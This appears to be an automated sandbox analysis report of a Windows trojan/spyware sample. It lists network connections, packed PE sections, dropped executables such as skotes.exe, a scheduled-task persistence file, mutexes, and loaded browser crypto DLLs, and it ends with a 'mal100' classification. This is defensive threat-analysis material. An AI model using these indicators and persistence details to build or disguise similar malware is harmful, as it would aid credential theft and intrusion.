Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49900
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.8:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.8:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.8:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.147.6:443 -> 192.168.2.8:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.8:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.8:49929 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: DocumentsFIJKEHJJDA.exe.0.dr	Static PE information: section name:
Source: DocumentsFIJKEHJJDA.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsFIJKEHJJDA.exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name:
Source: skotes.exe.23.dr	Static PE information: section name: .idata
Source: skotes.exe.23.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CACB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACB8C0 rand_s,NtQueryVirtualMemory,	0_2_6CACB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CACB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CA6F280

Source: C:\Users\user\DocumentsFIJKEHJJDA.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA635A0	0_2_6CA635A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC34A0	0_2_6CAC34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACC4A0	0_2_6CACC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA76C80	0_2_6CA76C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6D4E0	0_2_6CA6D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA6CF0	0_2_6CAA6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA764C0	0_2_6CA764C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8D4D0	0_2_6CA8D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD542B	0_2_6CAD542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADAC00	0_2_6CADAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA5C10	0_2_6CAA5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB2C10	0_2_6CAB2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA75440	0_2_6CA75440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD545C	0_2_6CAD545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC85F0	0_2_6CAC85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA0DD0	0_2_6CAA0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7FD00	0_2_6CA7FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8ED10	0_2_6CA8ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA90512	0_2_6CA90512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC4EA0	0_2_6CAC4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACE680	0_2_6CACE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA85E90	0_2_6CA85E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD76E3	0_2_6CAD76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6BEF0	0_2_6CA6BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7FEF0	0_2_6CA7FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC9E30	0_2_6CAC9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB5600	0_2_6CAB5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA7E10	0_2_6CAA7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD6E63	0_2_6CAD6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6C670	0_2_6CA6C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB2E4E	0_2_6CAB2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA84640	0_2_6CA84640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA89E50	0_2_6CA89E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA3E50	0_2_6CAA3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB77A0	0_2_6CAB77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6DFE0	0_2_6CA6DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA96FF0	0_2_6CA96FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA79F00	0_2_6CA79F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA7710	0_2_6CAA7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA960A0	0_2_6CA960A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8C0E0	0_2_6CA8C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA58E0	0_2_6CAA58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD50C7	0_2_6CAD50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAB820	0_2_6CAAB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB4820	0_2_6CAB4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA77810	0_2_6CA77810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAF070	0_2_6CAAF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA88850	0_2_6CA88850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8D850	0_2_6CA8D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6C9A0	0_2_6CA6C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9D9B0	0_2_6CA9D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA5190	0_2_6CAA5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC2990	0_2_6CAC2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7D960	0_2_6CA7D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABB970	0_2_6CABB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADB170	0_2_6CADB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8A940	0_2_6CA8A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA622A0	0_2_6CA622A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA94AA0	0_2_6CA94AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7CAB0	0_2_6CA7CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD2AB0	0_2_6CAD2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADBA90	0_2_6CADBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA81AF0	0_2_6CA81AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAE2F0	0_2_6CAAE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA8AC0	0_2_6CAA8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA9A60	0_2_6CAA9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6F380	0_2_6CA6F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD53C8	0_2_6CAD53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAD320	0_2_6CAAD320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7C370	0_2_6CA7C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA65340	0_2_6CA65340

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CAA94D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA9CBE8 appears 134 times

Source: file.exe, 00000000.00000002.2054263988.000000006CAF2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2055284718.000000006CCE5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: hiyxmwfd ZLIB complexity 0.994977096070683
Source: DocumentsFIJKEHJJDA.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9975306539509536
Source: DocumentsFIJKEHJJDA.exe.0.dr	Static PE information: Section: cimbrsfq ZLIB complexity 0.9943883613240156
Source: random[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9975306539509536
Source: random[1].exe.0.dr	Static PE information: Section: cimbrsfq ZLIB complexity 0.9943883613240156
Source: skotes.exe.23.dr	Static PE information: Section: ZLIB complexity 0.9975306539509536
Source: skotes.exe.23.dr	Static PE information: Section: cimbrsfq ZLIB complexity 0.9943883613240156

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@71/295@26/27

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAC7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CAC7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\L3MA73NI.htm

Jump to behavior

Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3836:120:WilError_03

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\f2ee7d45-2268-4508-8f2f-e4e8d6164cd4.tmp

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
